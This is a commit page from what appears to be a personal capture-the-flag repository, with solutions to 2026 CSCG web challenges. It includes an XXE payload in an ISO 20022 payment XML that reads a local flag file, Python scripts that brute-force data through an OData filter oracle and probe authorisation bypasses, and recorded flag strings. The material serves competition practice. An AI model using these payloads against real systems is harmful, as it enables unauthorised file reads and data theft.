cato447/ctf
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

huge commit

Browse Source
This commit is contained in:
cato447
2026-03-09 21:44:25 +01:00
parent ab2e537520
commit d1017bae51
441 changed files with 3438154 additions and 1363 deletions
Download Patch File Download Diff File Expand all files Collapse all files

95
2026/cscg/web/dinobank/broken.xml Normal file
View File

@@ -0,0 +1,95 @@
<?xml version="1.0" encoding="UTF-8"?>
<Document
xmlns="urn:iso:std:iso:20022:tech:xsd:pain.001.001.09"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:iso:std:iso:20022:tech:xsd:pain.001.001.09 pain.001.001.09.ch.03.xsd">
<CstmrCdtTrfInitn>
<GrpHdr>
<MsgId>MSG-2025-05-21T13:44:43</MsgId>
<CreDtTm>2025-05-21T13:44:43</CreDtTm>
<NbOfTxs>1</NbOfTxs>
<CtrlSum>500.0</CtrlSum>
<InitgPty>
<CtctDtls>
<Othr>
<ChanlTp>NAME</ChanlTp>
<Id>Infoniqa ONE Start </Id>
</Othr>
<Othr>
<ChanlTp>VRSN</ChanlTp>
<Id>V-2025.00)</Id>
</Othr>
<Othr>
<ChanlTp>PRVD</ChanlTp>
<Id>Infoniqa Schweiz AG</Id>
</Othr>
<Othr>
<ChanlTp>SPSV</ChanlTp>
<Id>2.0</Id>
</Othr>
</CtctDtls>
</InitgPty>
</GrpHdr>
<PmtInf>
<PmtInfId>PMTINF-2025-05-21T13:44:43-1</PmtInfId>
<PmtMtd>TRF</PmtMtd>
<BtchBookg>true</BtchBookg>
<PmtTpInf>
<CtgyPurp>
<Cd>SALA</Cd>
</CtgyPurp>
</PmtTpInf>
<ReqdExctnDt>
<Dt>2025-05-26</Dt>
</ReqdExctnDt>
<Dbtr>
<Nm>Example AG</Nm>
</Dbtr>
<DbtrAcct>
<Id>
</Id>
<Tp>
<Prtry>CND</Prtry>
</Tp>
</DbtrAcct>
<DbtrAgt>
<FinInstnId>
<ClrSysMmbId>
<ClrSysId>
<Cd>CHBCC</Cd>
</ClrSysId>
<MmbId>774</MmbId>
</ClrSysMmbId>
</FinInstnId>
</DbtrAgt>
<CdtTrfTxInf>
<PmtId>
<InstrId>287</InstrId>
<EndToEndId>001283545D024C86401A11A21A2B12CF</EndToEndId>
</PmtId>
<Amt>
<InstdAmt Ccy="DDO">500.00</InstdAmt>
</Amt>
<CdtrAgt>
<FinInstnId>
<BICFI>LILALI2XXXX</BICFI>
</FinInstnId>
</CdtrAgt>
<Cdtr>
<Nm>Bob Foo</Nm>
<PstlAdr>
<StrtNm>Foo 13</StrtNm>
<PstCd>8400</PstCd>
<TwnNm>Zurich</TwnNm>
<Ctry>CH</Ctry>
</PstlAdr>
</Cdtr>
<CdtrAcct>
<Id>
<IBAN>LI7008805599999999999</IBAN>
</Id>
</CdtrAcct>
<RmtInf/>
</CdtTrfTxInf>
</PmtInf>
</CstmrCdtTrfInitn>
</Document>

101
2026/cscg/web/dinobank/malicious.xml Normal file
View File

@@ -0,0 +1,101 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Document [
<!ENTITY xxe SYSTEM "file:///supersecret/dino/vault/flag.txt">
]><Document
xmlns="urn:iso:std:iso:20022:tech:xsd:pain.001.001.09"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:iso:std:iso:20022:tech:xsd:pain.001.001.09 pain.001.001.09.ch.03.xsd">
<CstmrCdtTrfInitn>
<GrpHdr>
<MsgId>MSG-2025-05-21T13:44:43</MsgId>
<CreDtTm>2025-05-21T13:44:43</CreDtTm>
<NbOfTxs>1</NbOfTxs>
<CtrlSum>500.0</CtrlSum>
<InitgPty>
<Nm>Example AG</Nm>
<CtctDtls>
<Othr>
<ChanlTp>NAME</ChanlTp>
<Id>Infoniqa ONE Start </Id>
</Othr>
<Othr>
<ChanlTp>VRSN</ChanlTp>
<Id>V-2025.00)</Id>
</Othr>
<Othr>
<ChanlTp>PRVD</ChanlTp>
<Id>Infoniqa Schweiz AG</Id>
</Othr>
<Othr>
<ChanlTp>SPSV</ChanlTp>
<Id>2.0</Id>
</Othr>
</CtctDtls>
</InitgPty>
</GrpHdr>
<PmtInf>
<PmtInfId>PMTINF-2025-05-21T13:44:43-1</PmtInfId>
<PmtMtd>TRF</PmtMtd>
<BtchBookg>true</BtchBookg>
<PmtTpInf>
<CtgyPurp>
<Cd>SALA</Cd>
</CtgyPurp>
</PmtTpInf>
<ReqdExctnDt>
<Dt>2025-05-26</Dt>
</ReqdExctnDt>
<Dbtr>
<Nm>Example AG</Nm>
</Dbtr>
<DbtrAcct>
<Id>
<IBAN>CH67DINODINODINO67676</IBAN>
</Id>
<Tp>
<Prtry>CND</Prtry>
</Tp>
</DbtrAcct>
<DbtrAgt>
<FinInstnId>
<ClrSysMmbId>
<ClrSysId>
<Cd>CHBCC</Cd>
</ClrSysId>
<MmbId>774</MmbId>
</ClrSysMmbId>
</FinInstnId>
</DbtrAgt>
<CdtTrfTxInf>
<PmtId>
<InstrId>287</InstrId>
<EndToEndId>001283545D024C86401A11A21A2B12CF</EndToEndId>
</PmtId>
<Amt>
<InstdAmt Ccy="DDO">500.00</InstdAmt>
</Amt>
<CdtrAgt>
<FinInstnId>
<BICFI>LILALI2XXXX</BICFI>
</FinInstnId>
</CdtrAgt>
<Cdtr>
<Nm>Bob Foo</Nm>
<PstlAdr>
<StrtNm>Foo 13</StrtNm>
<PstCd>8400</PstCd>
<TwnNm>Zurich</TwnNm>
<Ctry>CH</Ctry>
</PstlAdr>
</Cdtr>
<CdtrAcct>
<Id>
<IBAN>LI7008805599999999999</IBAN>
</Id>
</CdtrAcct>
<RmtInf>
<Ustrd>&xxe;</Ustrd>
</RmtInf>
</CdtTrfTxInf>
</PmtInf>
</CstmrCdtTrfInitn>
</Document>

97
2026/cscg/web/dinobank/real_example.xml Normal file
View File

@@ -0,0 +1,97 @@
<?xml version="1.0" encoding="UTF-8"?>
<Document
xmlns="urn:iso:std:iso:20022:tech:xsd:pain.001.001.09"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:iso:std:iso:20022:tech:xsd:pain.001.001.09 pain.001.001.09.ch.03.xsd">
<CstmrCdtTrfInitn>
<GrpHdr>
<MsgId>MSG-2025-05-21T13:44:43</MsgId>
<CreDtTm>2025-05-21T13:44:43</CreDtTm>
<NbOfTxs>1</NbOfTxs>
<CtrlSum>500.0</CtrlSum>
<InitgPty>
<Nm>Example AG</Nm>
<CtctDtls>
<Othr>
<ChanlTp>NAME</ChanlTp>
<Id>Infoniqa ONE Start </Id>
</Othr>
<Othr>
<ChanlTp>VRSN</ChanlTp>
<Id>V-2025.00)</Id>
</Othr>
<Othr>
<ChanlTp>PRVD</ChanlTp>
<Id>Infoniqa Schweiz AG</Id>
</Othr>
<Othr>
<ChanlTp>SPSV</ChanlTp>
<Id>2.0</Id>
</Othr>
</CtctDtls>
</InitgPty>
</GrpHdr>
<PmtInf>
<PmtInfId>PMTINF-2025-05-21T13:44:43-1</PmtInfId>
<PmtMtd>TRF</PmtMtd>
<BtchBookg>true</BtchBookg>
<PmtTpInf>
<CtgyPurp>
<Cd>SALA</Cd>
</CtgyPurp>
</PmtTpInf>
<ReqdExctnDt>
<Dt>2025-05-26</Dt>
</ReqdExctnDt>
<Dbtr>
<Nm>Example AG</Nm>
</Dbtr>
<DbtrAcct>
<Id>
<IBAN>CH67DINODINODINO67676</IBAN>
</Id>
<Tp>
<Prtry>CND</Prtry>
</Tp>
</DbtrAcct>
<DbtrAgt>
<FinInstnId>
<ClrSysMmbId>
<ClrSysId>
<Cd>CHBCC</Cd>
</ClrSysId>
<MmbId>774</MmbId>
</ClrSysMmbId>
</FinInstnId>
</DbtrAgt>
<CdtTrfTxInf>
<PmtId>
<InstrId>287</InstrId>
<EndToEndId>001283545D024C86401A11A21A2B12CF</EndToEndId>
</PmtId>
<Amt>
<InstdAmt Ccy="DDO">500.00</InstdAmt>
</Amt>
<CdtrAgt>
<FinInstnId>
<BICFI>LILALI2XXXX</BICFI>
</FinInstnId>
</CdtrAgt>
<Cdtr>
<Nm>Bob Foo</Nm>
<PstlAdr>
<StrtNm>Foo 13</StrtNm>
<PstCd>8400</PstCd>
<TwnNm>Zurich</TwnNm>
<Ctry>CH</Ctry>
</PstlAdr>
</Cdtr>
<CdtrAcct>
<Id>
<IBAN>LI7008805599999999999</IBAN>
</Id>
</CdtrAcct>
<RmtInf/>
</CdtTrfTxInf>
</PmtInf>
</CstmrCdtTrfInitn>
</Document>

31
2026/cscg/web/dinodata/leak.py Normal file
View File

@@ -0,0 +1,31 @@
import requests
import string
BASE_URL = "https://fmv4nqzwd2zvqwkabo2mzq5hd6-8080-dinodata.challenge.cscg.live"
def scientists_with_note_starting(s, prefix):
r = s.get(
BASE_URL + f"/odata/Scientist?$filter=Notes/any(n: startswith(n/Content, '{prefix}'))"
)
data = r.json()
return len(data.get("value", [])) > 0
with requests.Session() as s:
charset = string.ascii_letters + string.digits + "{}_"
flag = "dach2026{"
print(f"Prefix check: {scientists_with_note_starting(s, flag)}")
while True:
found = False
for c in charset:
candidate = flag + c
if scientists_with_note_starting(s, candidate):
flag = candidate
print(f"[+] Flag so far: {flag}")
found = True
break
if not found:
print(f"[!] Final flag: {flag}")
break

68
2026/cscg/web/dinodata/solve.py Normal file
View File

@@ -0,0 +1,68 @@
import requests
BASE_URL = "https://fmv4nqzwd2zvqwkabo2mzq5hd6-8080-dinodata.challenge.cscg.live"
with requests.session() as s:
r = s.post(
BASE_URL + "/auth/register",
json={"name": "cato447", "password": "password"},
headers={
"Content-Type": "application/json;odata.metadata=none;odata.streaming=true"
},
)
r = s.post(
BASE_URL + "/auth/login",
json={"name": "cato447", "password": "password"}
)
token = r.json()["token"]
headers = {"Authorization": f"Bearer {token}"}
for i in range(1, 20):
r = s.get(
f"{BASE_URL}/odata/Scientist({i})/Note",
)
if r.status_code == 200:
print(f"Scientist {i} notes: {r.text}")
for i in range(1, 20):
r = s.get(BASE_URL + f"/odata/Note({i})", headers=headers)
if r.status_code != 404:
print(f"Note({i}):", r.status_code, r.text)
headers = {"Authorization": f"Bearer {token}"}
# 1. Navigate through the UNPROTECTED Scientist endpoint to reach Notes
# Scientist has no auth, maybe its navigation properties inherit that
for i in range(1, 6):
r = s.get(BASE_URL + f"/odata/Scientist({i})/Notes")
print(f"Scientist({i})/Notes (no auth):", r.status_code, r.text)
# 2. OData lambda operators - query scientists WHERE their notes contain something
# This is a blind oracle but might leak data differently
r = s.get(BASE_URL + "/odata/Scientist?$filter=Notes/any(n: n/Id gt 0)")
print("Scientists with notes:", r.text)
# 3. OData $apply aggregation
r = s.get(BASE_URL + "/odata/Note?$apply=groupby((ScientistId))", headers=headers)
print("Apply groupby:", r.text)
# 4. OData batch request - bundle Note request inside Scientist context
batch_body = """--batch_boundary
Content-Type: application/http
Content-Transfer-Encoding: binary
GET /odata/Note HTTP/1.1
Host: fmv4nqzwd2zvqwkabo2mzq5hd6-8080-dinodata.challenge.cscg.live
--batch_boundary--"""
r = s.post(BASE_URL + "/odata/$batch",
data=batch_body,
headers={"Content-Type": "multipart/mixed; boundary=batch_boundary"})
print("Batch:", r.text)
# 5. Filter notes by other scientist IDs (server might not scope properly)
for i in range(1, 6):
r = s.get(BASE_URL + f"/odata/Note?$filter=ScientistId eq {i}", headers=headers)
print(f"Notes for scientist {i}:", r.text)

3
2026/cscg/web/intro1/notes.md Normal file
View File

@@ -0,0 +1,3 @@
first part: CSCG{access_granted_
second part: e7e768b0
third part: _to_the_next_level}

52
2026/cscg/web/intro2/first.html Normal file
View File

@@ -0,0 +1,52 @@
<html>
<head>
<title>Intro to Web 2</title>
<meta charset="UTF-8">
<link rel="stylesheet" type="text/css" href="style.css" />
</head>
<body>
<h1>$(GERMAN_CITY) Tram Ticket Machine</h1>
<h3>Get your <span style="text-decoration: line-through;">ticket</span> flag here!</h3>
<hr>
With the help of our state-of-the-art floppy disk switching robots, you can now read the first
part of the flag in real time!
<p>
Flag part 1/4: <span style="color: green; font-family: 'Courier New', monospace;">
CSCG{<span id="flag">........</span></span>
<!--
No time to wait, right?
-->
<script>
flag = "1334k_"
symbolsRevealed = 0
waitTime = 1000;
function nextSymbol() {
if (symbolsRevealed >= flag.length) return;
symbolsRevealed++;
waitTime *= 2;
setTimeout(nextSymbol, waitTime);
}
function spin() {
const flagPart = flag.substr(0, symbolsRevealed);
const alphabet = ("ABCDEFGHIJKLMNOPRSTUVWXYZabcdefhiklmnorstuvwxz0123456789")
const randomSymbol =
symbolsRevealed < flag.length
? alphabet.charAt(Math.floor(Math.random() * alphabet.length))
: "";
const suffix = ".".repeat(Math.max(0, flag.length - 1 - symbolsRevealed));
document.getElementById("flag").innerHTML = flagPart + randomSymbol + suffix;
}
setTimeout(nextSymbol, waitTime);
setInterval(spin, 50);
</script>
</body>
</html>

4
2026/cscg/web/intro2/notes.md Normal file
View File

@@ -0,0 +1,4 @@
first: CSCG{1334k_
second: 1nt3rc3pt_
third: m0d1fy_fwd_
fourth: r3p34t}